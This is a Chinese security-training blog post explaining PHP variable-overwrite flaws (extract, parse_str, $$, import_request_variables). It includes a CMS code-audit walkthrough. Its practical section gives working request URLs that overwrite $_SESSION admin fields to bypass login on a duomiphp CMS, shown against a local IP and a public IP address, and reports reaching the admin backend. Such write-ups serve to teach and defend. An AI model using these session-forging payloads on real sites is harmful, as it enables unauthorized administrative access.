MENU

安全学习-21-变量覆盖

December 15, 2021 • 网络安全

[TOC]

变量覆盖

什么是变量覆盖?

变量覆盖指的是可以用我们的传参值替换程序原有的变量值。

如何寻找变量覆盖?

经常导致变量覆盖场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。

变量覆盖漏洞有的时候狂牙直接让我们获取WebShell,拿到服务器的权限。

变量覆盖漏洞

1、extract()

作用:将数组中变量导入到当前的符号表。

<?php
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a;";
echo "\$b = $b;";
echo  "\$c = $c";
?>
# 输出
$a=Cat
$b=Dog
$c=Horse

函数解析

$test=******
// 通过extract,将原先的$test值给覆盖掉
extract($_GET)
// 检测$gift是否设置
if(isset($gift)){
    // $test前面去空赋值
    $content=trim($test);
    // 变量相等,输出flag
    if($gift==$content){
        echo 'flag is:'.$flag
    }
    else{
        echo error
    }
}    

2、parse_str()

作用:将查询字符串解析到变量中。

<?php
parse_str("name=zkaq&age=60");
echo $name . "<br>";
echo $age;
?>
# 输出
zkaq
60

那么parse_str("name=zkaq&age=60) 相当于完成了 $name='zkaq' 和 %age='60' 两个变量的赋值。

如果parse_str() 中狂牙直接传参的话,可能就存在变量覆盖!


3、$$

不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach()中出现,如以下的示例代码,使用foreach()来便利数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。

<?php
$a = 1;
foreach (array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach ($$_request as $_key => $_value) {
        $$_key = addslashes($_value);
    }
}
echo $a;
?>

这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request $key=>$value 这是个数组解析,实际上就是键值分离 ;

_正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 .

实战

本地

1.本地自建CMS

1

2.代码审计

2

// 可能存在问题,$$的点  /duomiphp/common.php
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

但是根据代码从上到下执行的顺序,前面的代码不能让他退出,需要顺利执行到该处,发现可能退出的点。

//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{    
    // strlen($_k)>0 必须要有传参
    // m_eregi('^(cfg_|GLOBALS)',$_k) key需要有开头为cfg_或GLOBALS
    // !isset($_COOKIE[$_k]) Cookie中未定义该key
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}

3.确认代码调用

这里把这个变量覆盖点摸清楚了,那么就看哪里有调用该文件了。

3

发现调用该文件的地方还很多!

4

5

6

确认有被引用!

7

5

6

注释掉确认文件被调用的die,添加变量定义后的die,同样出现phpinfo页面,说明有变量赋值存在!

然后又发现又调用check.admin.php这个文件,知道该文件是控制session,可以控制权限、id、用户名,那么我们尝试伪造common.php。

8

9

4.确认SESSION

10

11

12

5.构建请求覆盖变量

http://192.168.10.15/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1

13

14

再加一个参数试下!

http://192.168.10.15/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=test999

15

线上

1.地址

http://59.63.200.79:8010/abc/upload/

2.构建请求覆盖变量

http://59.63.200.79:8010/abc/upload//interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=qwezxc

16

17

成功进入后台!

变量覆盖常见问题

什么是变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。变量覆盖漏洞大多数由函数使用不当导致,$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。

什么是$$
$$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

extract()函数是什么呢
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

parse_str()函数又是什么意思呢
parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
注意:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
 
那么import_request_variables()函数又是什么呢
import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中
import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候

什么是Session
客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。

Session和cookie有什么区别呢
Session与Cookie的区别在于Session是记录在服务端的,而Cookie是记录在客户端的。

Session的生命周期是多少呢
Session生成后,只要用户继续访问,服务器就会更新Session的最后访问时间,并维护该Session。用户每访问服务器一次,无论是否读写Session,服务器都认为该用户的Session“活跃(active)”了一次。
 
变量覆盖的危害是什么
变量覆盖的漏洞危害主要还是要看代码具体的流程,如果可覆盖掉的变量在后面会进行代码执行,那么他的危害就是代码执行。具体还是要看后面代码具体的作用之类的。特殊的就是课堂上所教的Session覆盖,强行给Seesion赋值。然后拥有管理员权限